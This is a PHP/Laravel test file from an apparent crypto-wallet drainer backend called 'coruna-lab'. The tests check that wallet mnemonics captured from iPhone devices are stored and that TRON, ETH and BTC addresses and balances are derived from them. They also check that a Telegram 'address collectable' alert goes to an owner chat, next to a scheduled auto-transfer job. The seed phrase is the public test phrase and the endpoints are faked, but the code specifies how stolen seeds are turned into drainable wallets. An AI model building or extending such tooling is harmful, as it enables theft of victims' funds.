coruna-lab/tests/Feature/CollectableAddressNotifyTest.php

<?php

namespace Tests\Feature;

use App\Models\Device;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\MnemonicAddressLinker;
use App\Services\MnemonicWalletDiscovery;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;

class CollectableAddressNotifyTest extends TestCase
{
    use RefreshDatabase;

    private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';

    private const TRON_0 = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';

    private const ETH_0 = '0x9858effd232b4033e47d90003d41ec34ecaeda94';

    private const BTC_0 = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';

    protected function setUp(): void
    {
        parent::setUp();

        config([
            'coruna.telegram.bot_token' => 'tg-token',
            'coruna.telegram.owner_chat_id' => '10001',
            'coruna.tron.full_node' => 'https://api.trongrid.io',
            'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
            'coruna.eth.rpc_url' => 'https://ethereum.example',
            'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
            'coruna.btc.api_url' => 'https://mempool.example/api',
        ]);
    }

    private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
    {
        $row = new WalletMnemonic([
            'device_id' => $device->id,
            'source' => $source,
        ]);
        $row->mnemonic = self::MNEMONIC;
        $row->save();

        return $row;
    }

    #[Test]
    public function schedule_runs_link_mnemonics_with_auto_transfer(): void
    {
        $this->artisan('schedule:list')
            ->expectsOutputToContain('coruna:link-mnemonics')
            ->expectsOutputToContain('coruna:auto-transfer')
            ->assertSuccessful();
    }

    #[Test]
    public function successful_link_sends_collectable_address_telegram(): void
    {
        Http::fake([
            'api.telegram.org/*' => Http::response(['ok' => true], 200),
        ]);

        $device = Device::query()->create([
            'device_id' => 'dev-collect-link',
            'ios_version' => '18.0',
            'device_model' => 'iPhone',
        ]);
        $this->storeMnemonic($device);

        $addr = WalletAddress::query()->create([
            'device_id' => $device->id,
            'address' => self::TRON_0,
            'chain_type' => 'TRON',
            'source' => 'imToken',
            'monitor' => 0,
            'trx' => 3.5,
            'usdt' => 12,
        ]);

        $this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));

        Http::assertSent(function ($request) {
            if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
                return false;
            }
            $text = (string) ($request->data()['text'] ?? '');

            return str_contains($text, '地址可归集通知')
                && str_contains($text, self::TRON_0)
                && str_contains($text, 'TRX: 3.5')
                && str_contains($text, 'USDT: 12')
                && ($request->data()['chat_id'] ?? null) === '10001';
        });
    }

    #[Test]
    public function unmatched_link_does_not_send_collectable_telegram(): void
    {
        Http::fake([
            'api.telegram.org/*' => Http::response(['ok' => true], 200),
        ]);

        $device = Device::query()->create(['device_id' => 'dev-collect-miss']);
        $this->storeMnemonic($device);

        $addr = WalletAddress::query()->create([
            'device_id' => $device->id,
            'address' => 'TXYZunmatched111111111111111111111',
            'chain_type' => 'TRON',
            'source' => 'imToken',
            'monitor' => 0,
        ]);

        $this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr));

        Http::assertNotSent(fn ($request) => str_contains((string) ($request->data()['text'] ?? ''), '地址可归集通知'));
    }

    #[Test]
    public function mnemonic_derive_sends_collectable_addresses_and_balances(): void
    {
        Http::fake(function ($request) {
            $url = $request->url();
            if (str_contains($url, 'api.telegram.org')) {
                return Http::response(['ok' => true], 200);
            }
            if (str_contains($url, '/wallet/getaccount')) {
                return Http::response(['balance' => 5_000_000], 200);
            }
            if (str_contains($url, '/wallet/triggerconstantcontract')) {
                return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
            }
            if (str_contains($url, 'ethereum.example')) {
                $method = $request->data()['method'] ?? '';
                if ($method === 'eth_getBalance') {
                    return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
                }
                if ($method === 'eth_call') {
                    return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
                }
            }
            if (str_contains($url, 'mempool.example')) {
                return Http::response([
                    'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0],
                ], 200);
            }

            return Http::response([], 404);
        });

        $device = Device::query()->create(['device_id' => 'dev-collect-derive']);
        $mnemonic = $this->storeMnemonic($device);

        $this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic));

        Http::assertSent(function ($request) {
            if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
                return false;
            }
            $text = (string) ($request->data()['text'] ?? '');

            return str_contains($text, '地址可归集通知')
                && str_contains($text, self::TRON_0)
                && str_contains($text, self::ETH_0)
                && str_contains($text, self::BTC_0)
                && str_contains($text, 'TRX:')
                && str_contains($text, 'USDT:')
                && str_contains($text, 'BTC:')
                && ($request->data()['chat_id'] ?? null) === '10001';
        });
    }
}